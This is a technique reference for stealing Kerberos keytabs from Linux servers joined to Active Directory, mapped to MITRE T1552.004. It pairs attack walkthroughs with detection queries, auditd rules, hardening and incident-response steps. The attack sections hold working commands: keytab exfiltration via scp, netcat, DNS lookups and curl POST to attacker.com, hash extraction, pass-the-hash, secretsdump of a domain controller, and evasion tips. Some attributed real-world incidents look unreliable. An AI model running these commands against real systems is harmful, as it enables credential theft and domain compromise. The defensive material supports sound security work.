| Attribute | Details |
|---|---|
| Technique ID | CA-UNSC-001 |
| MITRE ATT&CK v18.1 | T1552.004 - Unsecured Credentials: Private Keys |
| Tactic | Credential Access |
| Platforms | Linux/Unix |
| Severity | High |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-06 |
| Affected Versions | All Linux distributions with Kerberos support (RHEL 6-9, Ubuntu 18.04-24.04, Debian, SUSE) |
| Patched In | N/A - Configuration hardening required |
| Author | SERVTEP – Artur Pchelnikau |
Note: Section 6 (Atomic Red Team) not included because no specific atomic test exists for keytab extraction (though T1552.004 framework is applicable). All remaining section numbers have been dynamically renumbered.
Concept: The /etc/krb5.keytab file stores Kerberos service principal credentials for systems integrated with Active Directory or Kerberos realms. This file contains encrypted keys (RC4-HMAC, AES128, AES256) that are cryptographically equivalent to the service account’s password. When an attacker gains root access to a Linux system, they can extract these keys and derive NTLM hashes (from RC4-HMAC encryption type 23), which are then reusable for authentication without needing the plaintext password. This technique is particularly effective in hybrid environments where Linux servers are joined to Windows Active Directory domains, as the extracted credentials can be used for lateral movement across both Linux and Windows infrastructure via pass-the-hash or pass-the-ticket attacks.
Attack Surface: /etc/krb5.keytab file (default path), service principal keytab files in application directories, Kerberos credential cache files.
Business Impact: Complete compromise of service accounts and potential domain-wide privilege escalation. Attackers can authenticate as high-privilege service accounts (SQL Server, web servers, backup services) without triggering password change alerts. Extracted keys remain valid until the service account password is reset in Active Directory, which may be months or years in poorly maintained environments.
Technical Context: Extraction takes seconds with root access. Detection likelihood is low unless file access auditing (auditd) is configured. Keys are persistent and do not expire independently of the AD password policy. A single compromised Linux server can expose credentials for dozens of service accounts if multiple keytabs exist.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 6.1.6 | Ensure permissions on /etc/shadow are configured (analogous keytab protection) |
| DISA STIG | V-230312 | RHEL must protect the confidentiality and integrity of transmitted information |
| CISA SCuBA | AC-3 | Access Enforcement - Restrict privileged file access |
| NIST 800-53 | IA-5(7) | Authenticator Management - No embedded unencrypted static authenticators |
| GDPR | Art. 32(1)(a) | Security of Processing - Encryption of personal data |
| DORA | Art. 9.4(d) | Protection and prevention - Cryptographic key protection |
| NIS2 | Art. 21.2(c) | Cyber risk management - Cryptographic controls |
| ISO 27001 | A.9.2.3 | Management of Privileged Access Rights |
| ISO 27005 | 8.3.3 | Risk Scenario - Compromise of cryptographic keys |
Supported Versions:
Other Requirements: System must be joined to Active Directory (realmd/SSSD) or Kerberos realm
# Check if system is domain-joined
realm list
# Check for keytab file existence
ls -lah /etc/krb5.keytab
# Check file permissions (should be 600)
stat /etc/krb5.keytab
# List keytab entries without extracting keys
klist -kt /etc/krb5.keytab
# Check for additional keytab files
find /etc /opt /var -name "*.keytab" 2>/dev/null
# Verify Kerberos configuration
cat /etc/krb5.conf | grep -E 'default_realm|kdc'
# Check SSSD configuration (domain join method)
cat /etc/sssd/sssd.conf 2>/dev/null | grep -E 'krb5_keytab|ad_domain'
What to Look For:
realm list shows a configured domain → System is AD-joined and likely has keytab600 or 400 → Misconfiguration vulnerabilityVersion Note: RHEL 7+ and Ubuntu 18.04+ use realmd for AD join. Older systems may use manual configuration with net ads join.
Command (RHEL 6/CentOS 6 - Legacy):
# Older systems use net ads testjoin
net ads testjoin
# Check samba winbind
wbinfo -t
Command (RHEL 7+ / Ubuntu 18.04+):
# Modern realm-based join
realm list -n
# Check systemd-resolved for DNS
resolvectl status
# Use SSH or PSRemoting to Linux target
$session = New-SSHSession -ComputerName linuxserver.contoso.com -Credential (Get-Credential)
Invoke-SSHCommand -SessionId $session.SessionId -Command "klist -kt /etc/krb5.keytab"
# Alternative: CrackMapExec for initial enumeration
crackmapexec ssh 192.168.1.0/24 -u admin -p password --exec "ls -la /etc/krb5.keytab"
What to Look For:
Supported Versions: All Linux distributions with Python 3.6+
Objective: Exfiltrate the keytab file for offline analysis
Command:
# On compromised Linux system (as root):
base64 /etc/krb5.keytab > /tmp/keytab.b64
# Transfer via any method (scp, nc, copy-paste)
scp /tmp/keytab.b64 attacker@10.0.0.5:/tmp/
# On attacker system:
base64 -d /tmp/keytab.b64 > /tmp/target.keytab
Alternative (Direct Copy):
# If you have SSH/SCP access
scp root@target:/etc/krb5.keytab /tmp/target.keytab
# Or using netcat
# On attacker: nc -lvnp 4444 > target.keytab
# On target: cat /etc/krb5.keytab | nc 10.0.0.5 4444
Expected Output:
target.keytab 100% 1234 1.2KB/s 00:00
What This Means:
OpSec & Evasion:
cat /etc/krb5.keytab | base64 (no disk write)/tmp/keytab.b64 after transfer: shred -u /tmp/keytab.b64Troubleshooting:
Permission denied
sudo cat /etc/krb5.keytab | base64 or escalate privilegesObjective: Parse keytab binary format and extract reusable NTLM hashes
Command:
# Clone KeyTabExtract tool
git clone https://github.com/sosdave/KeyTabExtract.git
cd KeyTabExtract
# Run extraction
python3 keytabextract.py /tmp/target.keytab
Expected Output:
[*] RC4-HMAC Encryption detected. Will attempt to extract NTLM hash.
[*] AES256-CTS-HMAC-SHA1 key found. Will attempt hash extraction.
[+] Keytab File successfully imported.
REALM : CONTOSO.COM
SERVICE PRINCIPAL : HTTP/webserver.contoso.com
NTLM HASH : 31d6cfe0d16ae931b73c59d7e0c089c0
AES-256 HASH : a1b2c3d4e5f6...
What This Means:
-aesKey in Impacket)OpSec & Evasion:
Troubleshooting:
[!] No RC4-HMAC located. Unable to extract NTLM hashes.
impacket-wmiexec -aesKey <AES256_HASH> DOMAIN/user@target[!] Only Keytab versions 0502 are supported.
klist -kte /tmp/target.keytab to view keys, then manual extractionReferences & Proofs:
Objective: Authenticate to Windows/Linux systems using pass-the-hash
Command (Linux Target):
# CrackMapExec (supports Kerberos)
crackmapexec smb 192.168.1.0/24 -u svc_web -H 31d6cfe0d16ae931b73c59d7e0c089c0 -d CONTOSO.COM
# Impacket wmiexec
impacket-wmiexec -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 CONTOSO/svc_web@192.168.1.50
# Impacket secretsdump (dump NTDS.dit)
impacket-secretsdump -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 CONTOSO/svc_web@dc01.contoso.com
Command (Using AES Key Instead):
# Impacket with AES256 key (stealthier - no NTLM downgrade)
export KRB5CCNAME=/tmp/krb5cc_1000
impacket-getTGT -aesKey a1b2c3d4e5f6... CONTOSO.COM/svc_web
# Use the TGT for authentication
impacket-secretsdump -k -no-pass CONTOSO/svc_web@dc01.contoso.com
Expected Output:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1234567890abcdef1234567890abcdef:::
What This Means:
svc_web service accountOpSec & Evasion:
-k flag) to avoid NTLM authentication events (Event ID 4776)Troubleshooting:
KDC_ERR_PREAUTH_FAILED
net user svc_web /domainKDC_ERR_C_PRINCIPAL_UNKNOWN
svc_web@CONTOSO.COM instead of CONTOSO\svc_webReferences & Proofs:
Supported Versions: All systems with krb5-workstation package
Objective: Enumerate service principals without extracting keys
Command:
# Basic listing
klist -kt /etc/krb5.keytab
# Detailed output with encryption types
klist -kte /etc/krb5.keytab
Expected Output:
Keytab name: FILE:/etc/krb5.keytab
KVNO Timestamp Principal
---- ------------------- ------------------------------------------------------
2 12/01/2024 10:30:00 HTTP/webserver.contoso.com@CONTOSO.COM
2 12/01/2024 10:30:00 HTTP/webserver.contoso.com@CONTOSO.COM
2 12/01/2024 10:30:00 HTTP/webserver.contoso.com@CONTOSO.COM
Command (RHEL 7+ / Ubuntu 18.04+ - Show Encryption Types):
klist -kte /etc/krb5.keytab
Expected Output:
Keytab name: FILE:/etc/krb5.keytab
KVNO Timestamp Principal
---- ------------------- ------------------------------------------------------
2 12/01/2024 10:30:00 HTTP/webserver@CONTOSO.COM (aes256-cts-hmac-sha1-96)
2 12/01/2024 10:30:00 HTTP/webserver@CONTOSO.COM (aes128-cts-hmac-sha1-96)
2 12/01/2024 10:30:00 HTTP/webserver@CONTOSO.COM (arcfour-hmac)
What This Means:
KVNO 2: Key Version Number (increments with each password change)arcfour-hmac: RC4-HMAC (encryption type 23) - contains extractable NTLM hashaes256-cts: AES256 (encryption type 18) - modern secure encryptionOpSec & Evasion:
klist command is logged by auditd if EXECVE auditing enabledTroubleshooting:
klist: No credentials cache found
-k for keytab)klist -kt /etc/krb5.keytab (note the -t flag)References & Proofs:
Objective: Manually parse keytab binary format when tools unavailable
Command:
# Dump keytab as hex
xxd /etc/krb5.keytab | head -n 50
# Look for RC4-HMAC marker (0x00170010) followed by 16-byte hash
xxd /etc/krb5.keytab | grep -A 2 "0017 0010"
# Extract NTLM hash bytes (manual parsing)
Expected Output:
00000000: 0502 0000 002f 0000 0001 000b 434f 4e54 ...../......CONT
00000010: 4f53 4f2e 434f 4d00 0000 0001 0004 4854 OSO.COM.......HT
00000020: 5450 0000 0009 7765 6273 6572 7665 7200 TP....webserver.
00000030: 0000 0001 0017 0010 31d6 cfe0 d16a e931 ........1....j.1
00000040: b73c 59d7 e0c0 89c0 .<Y.....
What This Means:
0502: Keytab version 5.2CONTOSO.COM: Kerberos realmHTTP/webserver: Service principal0017 0010: RC4-HMAC encryption type marker31d6cfe0d16ae931b73c59d7e0c089c0)OpSec & Evasion:
Troubleshooting:
0017 0010 marker found
0012 0020 (AES256) or 0011 0010 (AES128)References & Proofs:
Supported Versions: Impacket 0.10.0+
Objective: Request TGT directly from Active Directory using keytab file
Command:
# Copy keytab to attacker system
scp root@target:/etc/krb5.keytab /tmp/target.keytab
# Use Impacket getTGT with keytab
impacket-getTGT -k -no-pass CONTOSO.COM/HTTP/webserver.contoso.com -keytab /tmp/target.keytab
# Export credential cache
export KRB5CCNAME=/tmp/HTTP_webserver.contoso.com.ccache
# Use TGT for authentication
impacket-secretsdump -k -no-pass @dc01.contoso.com
Expected Output:
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Using TGT from cache
[*] Target system bootKey: 0x1234567890abcdef1234567890abcdef
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
What This Means:
OpSec & Evasion:
Troubleshooting:
Kerberos SessionError: KRB_AP_ERR_SKEW
ntpdate dc01.contoso.com or timedatectl set-ntp true[-] Key for user HTTP/webserver.contoso.com@CONTOSO.COM not found in keytab
klist -kt target.keytab and use verbatimReferences & Proofs:
Version: 1.0 (Python 3 port) Minimum Version: Python 3.6 Supported Platforms: Linux, macOS, Windows (with Python)
Version-Specific Notes:
Installation:
git clone https://github.com/sosdave/KeyTabExtract.git
cd KeyTabExtract
# No dependencies required - uses only Python stdlib
Usage:
# Basic extraction
python3 keytabextract.py /path/to/keytab
# Example output parsing
python3 keytabextract.py krb5.keytab | grep "NTLM HASH" | awk '{print $4}'
Version: 0.12.0 (latest as of 2025) Minimum Version: 0.9.24 (for keytab support) Supported Platforms: Linux, macOS, Windows (Python)
Installation:
# Via pip (recommended)
pip3 install impacket
# From source
git clone https://github.com/fortra/impacket.git
cd impacket
pip3 install .
Usage:
# Pass-the-hash
impacket-wmiexec -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 DOMAIN/user@target
# Pass-the-ticket with keytab
impacket-getTGT -k -no-pass DOMAIN/user -keytab file.keytab
# Kerberos authentication with AES key
impacket-secretsdump -k -no-pass -aesKey <HEX_KEY> @dc.domain.com
# Memory-only exfiltration via DNS (requires dnscat2 or similar)
cat /etc/krb5.keytab | base64 -w0 | while read line; do nslookup $line.attacker.com; done
# HTTP POST exfiltration
curl -X POST -d @/etc/krb5.keytab https://attacker.com/upload
# Netcat exfiltration
cat /etc/krb5.keytab | nc attacker.com 4444
Rule Configuration:
linux_audit or os:linuxlinux:audit or auditdproctitle, name, exe, uidSPL Query:
index=linux_audit sourcetype="linux:audit" type=PATH name="/etc/krb5.keytab"
| search NOT exe="/usr/bin/klist" NOT exe="/usr/bin/kinit"
| eval user=if(uid="0","root",user)
| stats count min(_time) as firstTime max(_time) as lastTime values(exe) as executed_process by host user name
| where count > 0
| convert ctime(firstTime) ctime(lastTime)
| table firstTime lastTime host user executed_process name count
What This Detects:
/etc/krb5.keytab by non-standard processesklist, kinit)cat, xxd, python, scp)Manual Configuration Steps:
Source: Adapted from Splunk Research - Linux Credential File Access
klist -kt for troubleshooting, automated Kerberos ticket renewal scripts| where user!="ansible_admin"| search NOT exe="/usr/bin/puppet"Rule Configuration:
linux_auditlinux:auditproctitle, name, exe, syscallSPL Query:
index=linux_audit sourcetype="linux:audit"
| transaction host maxspan=60s
| search name="/etc/krb5.keytab" AND (exe="/usr/bin/scp" OR exe="/usr/bin/nc" OR exe="/usr/bin/curl" OR exe="/usr/bin/base64" OR proctitle="*impacket*" OR proctitle="*crackmapexec*")
| stats count by host user exe proctitle
| table host user exe proctitle count
What This Detects:
Manual Configuration Steps:
Keytab Exfiltration Attempt Detected on $host$Source: Custom rule based on Splunk Boss of the SOC (BOTS) scenarios
| search NOT proctitle="*/opt/backup/*"Rule Configuration:
SyslogSyslogMessage, Computer, Facility, ProcessNameKQL Query:
Syslog
| where TimeGenerated > ago(10m)
| where Facility == "authpriv" or Facility == "audit"
| where SyslogMessage contains "/etc/krb5.keytab" or SyslogMessage contains "krb5.keytab"
| where SyslogMessage !contains "klist" and SyslogMessage !contains "kinit"
| extend SuspiciousProcess = extract(@"exe=""([^""]+)""", 1, SyslogMessage)
| extend AccessType = extract(@"perm=([a-z]+)", 1, SyslogMessage)
| where SuspiciousProcess !in ("klist", "kinit", "kdestroy")
| project TimeGenerated, Computer, ProcessName, SuspiciousProcess, AccessType, SyslogMessage
| order by TimeGenerated desc
What This Detects:
Manual Configuration Steps (Azure Portal):
Linux Keytab Unauthorized AccessHighT1552.004 (Credential Access - Private Keys)5 minutes10 minutesResults > 0Isolate-LinuxEndpointManual Configuration Steps (PowerShell):
# Connect to Sentinel workspace
Connect-AzAccount
$ResourceGroup = "rg-sentinel-prod"
$WorkspaceName = "law-sentinel-prod"
# Create the analytics rule
$Query = @"
Syslog
| where TimeGenerated > ago(10m)
| where Facility == "authpriv" or Facility == "audit"
| where SyslogMessage contains "/etc/krb5.keytab"
| where SyslogMessage !contains "klist"
| extend SuspiciousProcess = extract(@"exe=""([^""]+)""", 1, SyslogMessage)
| project TimeGenerated, Computer, ProcessName, SuspiciousProcess, SyslogMessage
"@
New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName `
-DisplayName "Linux Keytab Unauthorized Access" `
-Query $Query `
-Severity "High" `
-Enabled $true `
-QueryFrequency "PT5M" `
-QueryPeriod "PT10M" `
-TriggerOperator "GreaterThan" `
-TriggerThreshold 0
Source: Custom query based on Microsoft Sentinel Community GitHub
Note: This technique is Linux-specific. Windows Event Log monitoring applies to Windows-based Kerberos credential theft (e.g., LSASS dumping). For Linux credential access, use auditd and syslog as described in Sections 8 and 9.
Relevant Windows Monitoring (for hybrid attacks):
Event ID: 4768 (Kerberos Authentication - TGT Request)
Manual Configuration Steps (Group Policy):
gpupdate /force on Domain ControllersNote: Sysmon is Windows-specific. For Linux, use auditd rules instead (see Section 12 below for equivalent Linux auditd configuration).
For Windows-side detection when stolen Linux keytab credentials are used against Windows systems:
Minimum Sysmon Version: 15.0+ Supported Platforms: Windows Server 2012-2025
<Sysmon schemaversion="4.90">
<EventFiltering>
<!-- Detect lateral movement from Linux systems using stolen keytabs -->
<NetworkConnect onmatch="include">
<DestinationPort condition="is">88</DestinationPort> <!-- Kerberos -->
<Image condition="contains">lsass.exe</Image>
</NetworkConnect>
<!-- Detect unusual process accessing Kerberos tickets after Linux authentication -->
<ProcessAccess onmatch="include">
<TargetImage condition="end with">lsass.exe</TargetImage>
<GrantedAccess>0x1010</GrantedAccess> <!-- PROCESS_VM_READ -->
</ProcessAccess>
</EventFiltering>
</Sysmon>
Manual Configuration Steps:
sysmon-keytab-defense.xml with the XML abovesysmon64.exe -accepteula -i sysmon-keytab-defense.xml
Get-Service Sysmon64
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10
Minimum auditd Version: 2.8+ (RHEL 7+) Supported Platforms: All Linux distributions
# /etc/audit/rules.d/keytab-monitoring.rules
## Monitor all accesses to keytab files
-w /etc/krb5.keytab -p war -k keytab_access
-w /etc/ -p war -k keytab_wildcard -F path=/etc/*.keytab
## Monitor common service keytab locations
-w /etc/httpd/conf/ipa.keytab -p war -k apache_keytab
-w /etc/dirsrv/ -p war -k ldap_keytab
-w /var/kerberos/krb5/ -p war -k kerberos_lib
## Monitor execution of keytab extraction tools
-a always,exit -F arch=b64 -S execve -F exe=/usr/bin/python3 -F a0="keytabextract" -k keytab_extraction
-a always,exit -F arch=b64 -S execve -F a0="xxd" -F a1="/etc/krb5.keytab" -k keytab_hex_dump
## Monitor suspicious file reads by non-kerberos processes
-a always,exit -F arch=b64 -S open -S openat -F path=/etc/krb5.keytab -F success=1 -F exe!=/usr/bin/klist -F exe!=/usr/bin/kinit -k suspicious_keytab_read
Manual Configuration Steps:
sudo nano /etc/audit/rules.d/keytab-monitoring.rules
sudo augenrules --load
# Or on older systems:
sudo service auditd restart
sudo auditctl -l | grep keytab
cat /etc/krb5.keytab > /dev/null
sudo ausearch -k keytab_access -i
Expected Output:
type=PATH msg=audit(01/06/2026 10:15:32.123:4567) : item=0 name=/etc/krb5.keytab inode=123456 dev=08:01 mode=file,600 ouid=root ogid=root rdev=00:00 nametype=NORMAL cap_fp=none cap_fi=none cap_fe=0 cap_fver=0
type=SYSCALL msg=audit(01/06/2026 10:15:32.123:4567) : arch=x86_64 syscall=openat success=yes exit=3 a0=0xffffff9c a1=0x7ffd1234 a2=O_RDONLY a3=0x0 items=1 ppid=1234 pid=5678 auid=root uid=root gid=root euid=root suid=root fsuid=root egid=root sgid=root fsgid=root tty=pts0 ses=1 comm=cat exe=/usr/bin/cat key=keytab_access
Note: Microsoft Defender for Cloud primarily monitors Azure/Windows workloads. For Linux VMs in Azure with Defender for Servers (Plan 2) enabled, file integrity monitoring (FIM) can detect keytab access.
Alert Name: Sensitive file access detected on Linux VM
/etc/krb5.keytab, /etc/shadow, SSH keyskadmin -q "change_password -randkey SERVICE/host"ktadd -k /etc/krb5.keytab SERVICE/hostManual Configuration Steps (Enable Defender for Servers):
/etc/krb5.keytab:
/etc/krb5.keytabManual Configuration Steps (Azure CLI):
# Enable Defender for Servers
az security pricing create --name VirtualMachines --tier Standard
# Configure FIM via Log Analytics workspace
az monitor log-analytics workspace update \
--resource-group rg-monitoring \
--workspace-name law-defender \
--enable-log-access-use-resource-permissions true
Reference: Microsoft Defender for Cloud - File Integrity Monitoring
Note: Microsoft Purview primarily audits M365/Azure cloud services. Linux keytab access is not logged in Purview. However, if stolen credentials are used to access M365 services, relevant audit events include:
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) `
-Operations "UserLoggedIn" `
-FreeText "Linux" `
-ResultSize 5000 | Where-Object {$_.AuditData -like "*service_account*"}
UserLoggedInAzureActiveDirectoryClientIPAddress (unusual for service accounts), UserAgent (Linux user-agent strings), AuthenticationMethod (Kerberos)Manual Configuration Steps (Enable Unified Audit Log):
Manual Configuration Steps (Search for Suspicious Activity):
svc_web@contoso.com)PowerShell Alternative:
Connect-ExchangeOnline
# Search for service account logins with Kerberos
Search-UnifiedAuditLog -StartDate "2026-01-01" -EndDate "2026-01-06" `
-RecordType AzureActiveDirectory `
-Operations "UserLoggedIn" `
-ResultSize 5000 | Where-Object {
$AuditData = $_.AuditData | ConvertFrom-Json
$AuditData.UserId -like "svc_*" -and $AuditData.AuthenticationMethod -eq "Kerberos"
} | Select-Object CreationDate, UserIds, ClientIP, AuditData | Export-Csv -Path "C:\Audit_Keytab_Logins.csv"
Restrict keytab file permissions to 0400 (read-only for owner)
Applies To Versions: All Linux distributions
Manual Steps (RHEL 7+/Ubuntu 18.04+):
sudo find / -name "*.keytab" 2>/dev/null
sudo chmod 400 /etc/krb5.keytab
sudo chown root:root /etc/krb5.keytab
ls -la /etc/krb5.keytab
# Expected: -r-------- 1 root root
Manual Steps (Ansible Automation):
---
- name: Harden Kerberos keytab permissions
hosts: linux_servers
become: yes
tasks:
- name: Set keytab permissions to 0400
file:
path: /etc/krb5.keytab
owner: root
group: root
mode: '0400'
ignore_errors: yes
Enable SELinux/AppArmor mandatory access controls
Applies To Versions: RHEL 7+ (SELinux), Ubuntu 18.04+ (AppArmor)
Manual Steps (SELinux - RHEL/CentOS):
getenforce
# Should return: Enforcing
sudo setenforce 1
sudo sed -i 's/SELINUX=.*/SELINUX=enforcing/' /etc/selinux/config
ls -Z /etc/krb5.keytab
# Expected: system_u:object_r:krb5_keytab_t:s0
sudo restorecon -v /etc/krb5.keytab
Manual Steps (AppArmor - Ubuntu/Debian):
sudo aa-status
sudo nano /etc/apparmor.d/usr.bin.keytab-protect
Add:
#include <tunables/global>
/etc/krb5.keytab r,
/usr/bin/klist r,
/usr/bin/kinit r,
deny /etc/krb5.keytab w,
deny /etc/krb5.keytab x,
sudo apparmor_parser -r /etc/apparmor.d/usr.bin.keytab-protect
Implement auditd file access monitoring
Manual Steps:
Rotate Kerberos service keys quarterly
Manual Steps (Active Directory):
# PowerShell on Windows DC
Set-ADServiceAccount -Identity svc_web -KerberosEncryptionType AES128, AES256
Reset-ADServiceAccount -Identity svc_web
sudo net ads keytab create
# Or manually:
kadmin -p admin@CONTOSO.COM -q "ktadd -k /etc/krb5.keytab HTTP/webserver.contoso.com"
sudo systemctl restart httpd
Manual Steps (MIT Kerberos KDC):
kadmin.local -q "change_password -randkey HTTP/webserver@CONTOSO.COM"
kadmin.local -q "ktadd -k /tmp/new.keytab HTTP/webserver@CONTOSO.COM"
scp /tmp/new.keytab root@webserver:/etc/krb5.keytab
sudo systemctl restart krb5kdc kadmin
Use AES-256 encryption only (disable RC4-HMAC)
Manual Steps (Active Directory - Group Policy):
gpupdate /force on Domain ControllersManual Steps (Linux - krb5.conf):
sudo nano /etc/krb5.conf
[libdefaults]
default_tgs_enctypes = aes256-cts-hmac-sha1-96 aes128-cts-hmac-sha1-96
default_tkt_enctypes = aes256-cts-hmac-sha1-96 aes128-cts-hmac-sha1-96
permitted_enctypes = aes256-cts-hmac-sha1-96 aes128-cts-hmac-sha1-96
kadmin -q "ktadd -e aes256-cts:normal -k /etc/krb5.keytab HTTP/webserver"
Conditional Access: Not directly applicable (Linux keytab is OS-level). However, for hybrid environments, implement:
Manual Steps (Azure AD Conditional Access for Service Accounts):
Block Service Account Interactive LoginsRBAC/ABAC: Implement Privileged Access Management (PAM) for root access
Manual Steps (sudo configuration):
sudo visudo
# REMOVE THIS:
%wheel ALL=(ALL) NOPASSWD: ALL
# REPLACE WITH:
%wheel ALL=(ALL) /usr/bin/klist, /usr/bin/kinit, /usr/bin/kdestroy
# Install and configure sudo with timestamp_timeout
Defaults timestamp_timeout=5
Policy Config: Implement centralized authentication with SSSD and prohibit local keytab modifications
Manual Steps:
sudo nano /etc/sssd/sssd.conf
Set:
[domain/CONTOSO.COM]
krb5_keytab = /var/lib/sss/keytabs/krb5.keytab
sudo chattr +i /etc/krb5.keytab
lsattr /etc/krb5.keytab
# Expected: ----i--------e---
sudo chattr -i /etc/krb5.keytab
# Check file permissions
ls -la /etc/krb5.keytab | awk '{print $1, $3, $4}'
# Check SELinux context
ls -Z /etc/krb5.keytab
# Verify auditd rule is active
sudo auditctl -l | grep krb5.keytab
# Test keytab functionality (should still work after hardening)
klist -kt /etc/krb5.keytab
# Verify encryption types in keytab (should be AES only)
klist -kte /etc/krb5.keytab | grep -v "arcfour-hmac"
Expected Output (If Secure):
-r-------- root root
system_u:object_r:krb5_keytab_t:s0 /etc/krb5.keytab
-w /etc/krb5.keytab -p war -k keytab_access
Keytab name: FILE:/etc/krb5.keytab
2 12/01/2024 10:30:00 HTTP/webserver@CONTOSO.COM (aes256-cts-hmac-sha1-96)
2 12/01/2024 10:30:00 HTTP/webserver@CONTOSO.COM (aes128-cts-hmac-sha1-96)
What to Look For:
400 or 600 (not 644 or 777)root:root (not user:user)arcfour-hmac (RC4) encryption types presentkrb5_keytab_t (not unlabeled_t)/tmp/*.keytab (exfiltrated copies)/tmp/keytab.b64 (base64-encoded keytab for exfiltration)/dev/shm/krb5cc_* (Kerberos credential cache in memory)/tmp/*.ccache (Kerberos ticket cache files)~/.keytab_extract_history (tool execution artifacts)python3 keytabextract.pyxxd /etc/krb5.keytabbase64 /etc/krb5.keytabcat /etc/krb5.keytab | nc <IP>impacket-getTGT, impacket-wmiexec, crackmapexec/var/log/audit/audit.log (auditd file access events)/var/log/secure or /var/log/auth.log (su/sudo elevations before keytab access)/var/log/messages (syslog entries for Kerberos authentication)~/.bash_history (command history showing keytab access: cat /etc/krb5.keytab)cat, python3)/tmp/krb5cc_* credential cachekrb5.keytab in SyslogMessage fieldkey=keytab_accessdebugfs -R "logdump" /dev/sda1 to view ext4 journal (requires unmounted filesystem)Isolate:
Command (iptables firewall drop):
# Block all outbound traffic except SSH from trusted admin IPs
sudo iptables -A OUTPUT -p tcp --dport 22 -s 10.0.0.0/8 -j ACCEPT
sudo iptables -A OUTPUT -p tcp -j DROP
sudo iptables -A OUTPUT -p udp -j DROP
# Persist rules across reboot
sudo iptables-save > /etc/iptables/rules.v4
Manual (Azure Portal - Network Isolation):
Manual (Disconnect network interface):
sudo ip link set eth0 down
# Or use nmcli:
sudo nmcli device disconnect eth0
Collect Evidence:
Command:
# Create evidence directory
sudo mkdir -p /forensics/$(hostname)-$(date +%Y%m%d-%H%M%S)
cd /forensics/$(hostname)-$(date +%Y%m%d-%H%M%S)
# Capture running processes
ps auxww > processes.txt
# Capture network connections
ss -tulpn > network.txt
netstat -antp >> network.txt
# Capture bash history (all users)
for user in $(awk -F: '$3 >= 1000 {print $1}' /etc/passwd); do
sudo cat /home/$user/.bash_history > bash_history_$user.txt 2>/dev/null
done
# Export audit logs
sudo ausearch -k keytab_access > auditd_keytab.txt
sudo ausearch -ts recent -i > auditd_recent.txt
# Capture authentication logs
sudo cp /var/log/secure /var/log/auth.log . 2>/dev/null
# Capture keytab file (for forensic hash comparison)
sudo sha256sum /etc/krb5.keytab > keytab_hash.txt
sudo cp /etc/krb5.keytab keytab_forensic_copy.keytab
# Memory dump of suspicious processes (if still running)
for pid in $(pgrep -f "python|xxd|base64"); do
sudo gcore $pid
done
# Package evidence
sudo tar -czf ../$(hostname)_forensics_$(date +%Y%m%d-%H%M%S).tar.gz .
Manual (Export audit logs via GUI):
host=compromised-server keytabRemediate:
Command (Immediate Actions):
# Kill suspicious processes
sudo pkill -9 -f "keytabextract|impacket|crackmapexec"
# Remove malicious files
sudo find /tmp /dev/shm -name "*.keytab" -o -name "*.ccache" -delete
sudo shred -u /tmp/keytab.b64 2>/dev/null
# Lock compromised user accounts
sudo usermod -L suspicioususer
# Force password change on next login
sudo chage -d 0 suspicioususer
# Rotate Kerberos keys IMMEDIATELY
# On Windows DC (PowerShell):
# Reset-ADServiceAccount -Identity svc_web -Confirm:$false
# On Linux, regenerate keytab:
sudo net ads keytab create --force
# Restart services
sudo systemctl restart sssd httpd
Manual (Active Directory - Reset Service Account):
sudo net ads keytab delete svc_web
sudo net ads keytab create
Notify:
Command (Send alert to SOC):
# Send email with evidence summary
mail -s "INCIDENT: Keytab Compromise Detected on $(hostname)" soc@company.com <<EOF
Compromised System: $(hostname)
Detection Time: $(date)
Affected Keytab: /etc/krb5.keytab
Service Principals: $(klist -kt /etc/krb5.keytab | tail -n +3 | awk '{print $4}' | sort -u)
Suspicious Activity: Keytab file accessed by non-standard process
Forensics Package: /forensics/$(hostname)_forensics_*.tar.gz
Immediate actions taken:
- System isolated from network
- Kerberos keys rotated
- Service account password reset in AD
Analyst: $(whoami)
EOF
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-VALID-001] Default credential exploitation | Attacker gains initial foothold using default SSH/service credentials |
| 2 | Privilege Escalation | [PE-EXPLOIT-002] Kernel exploit (CVE-2021-4034 PwnKit) | Escalates from user to root via vulnerable polkit pkexec |
| 3 | Current Step | [CA-UNSC-001] /etc/krb5.keytab extraction | Extracts Kerberos service keys with root access |
| 4 | Lateral Movement | [LM-AUTH-001] Pass-the-Hash to Windows AD | Uses extracted NT hash to authenticate to Windows Domain Controllers |
| 5 | Credential Access | [CA-DUMP-002] DCSync attack | Dumps Active Directory NTDS.dit to extract krbtgt hash (Golden Ticket) |
| 6 | Persistence | [CA-KERB-003] Golden Ticket creation | Forges TGT with krbtgt hash for long-term domain persistence |
| 7 | Impact | [IMPACT-DATA-001] Ransomware deployment | Deploys ransomware across entire AD domain using privileged access |
| Reference: Mandiant APT29 Analysis | CISA Alert AA20-352A |
/opt/app/config/krb5.keytab and /etc/krb5.keytab, then used credentials to access Windows payment gateways and SQL databases containing credit card data.| Reference: DOJ FIN7 Indictment | Gemini Advisory FIN7 Report |
/var/opt/microsoft/hybrid/krb5.keytab to obtain privileged Exchange service account credentials, enabling mailbox access and email exfiltration across 30,000+ organizations globally.| Reference: Microsoft HAFNIUM Analysis | Volexity Exchange Exploit Analysis |
600 permissions but no auditd monitoring. Extracted NT hashes from RC4-HMAC encryption (still enabled despite security policy requiring AES-only). Used Impacket pass-the-hash to compromise Domain Admin account within 4 hours of initial access.